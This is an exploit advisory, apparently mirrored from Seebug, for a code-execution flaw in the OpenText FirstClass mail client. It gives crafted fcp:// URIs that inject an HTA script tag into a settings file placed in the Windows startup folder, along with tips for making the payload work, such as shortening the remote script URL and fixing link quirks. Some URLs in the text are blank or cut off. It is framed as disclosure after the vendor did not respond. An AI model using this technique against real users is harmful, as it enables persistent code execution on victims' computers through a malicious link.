OpenText FirstClass Client 11.005 - Code Execution

ID SSV:71603
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

                                                # Exploit Title: OpenText FirstClass Client (Delayed) Code Executiion
# Date: Discovered 11/16/2010, Contacted OpenText 2/1/11 and 2/7/11,
Released 4/11/2011
# Author: Kyle Ossinger (
# Email:
# Software Link:
# Version: v.11 and lower, but will probably work on newer versions
once they are released
# Tested on: Windows XP, Vista, 7
# CVE : none, no response from MITRE about this

I contacted OpenText about this issue twice over the period of a few
weeks and they never responded.  This is why I'm releasing the exploit
now; so it has a better chance of being patched.
I take no responsibility for how anyone uses the following
information.  I only hope this helps the exploit developers think
outside the box of overflow exploits in executable programs.  Any
testing of the following information should be used in an isolated
network using a FirstClass server that you own and operate or have
permission to try this out on.

This is an implementation flaw, not your usual buffer overflow/heap
overflow/format string exploit.
By getting a victim to click on a specially crafted link in the
FirstClass mail client, an attacker can place an executable file on
the victim's computer which will be executed upon the next system

The way it works is that you can make a URI to create a settings file
for the user to use, by crafting it as such:

Whatever you put into username and servername gets put into the
settings file as plain-text, so that is how I inject some code.  You
normally can't change the file extension though (seen at the end of
the URI), but after a lot of tinkering I found that if you make the
URI try to access a path inside of the firstclass server, you (for
some reason) CAN change the file extension.  Since I had to inject
some commands into this file to make it execute code, but it is
surrounded by junk characters that would break any compiled executable
or even batch scripts, I knew I'd have to use an HTML Application
(HTA) file, which does indeed work wonderfully.

The following URI will add the executable file to the startup programs
directory of every user on the computer, given that the current user
has write access to the All Users directory on windows.  An attacker
would only use this if he or she were certain that the victim user is
an Administrator on his or her computer.

fcp://<hta><script src='' id="s"></script>@<body

The following URI will add that same executable file to the CURRENT
USER's startup programs directory, but maybe afterwards the attacker
could launch some privilege escalation exploits to get the desired

fcp://<hta><script src='' id="s"></script>@<body

If you want to understand more of how this exploit works please check
out, but if you just want to know the basic idea of how
it works these basics will have to suffice.
The <script src=> needs to point to your javascript file which uses
only javascript that WSH can understand.  Also, the URL pointing to
your script file must be made into a small URL in order to fit size
constraints.  Make sure to strip off the "http://" part from the
script URL as well, as it would break the exploit.

NOTE: The URI can be a bit finicky when trying to put it into a
bookmark/link on FirstClass.  It usually adds 2 random CRLF
characters, and gets rid of the 'a' in "hta".  You can correct this
and hit Ok again, and it will look normal again and work.  It's just
something to check if it isn't working on your test machine.

A complete write-up on how this particular exploit works can be viewed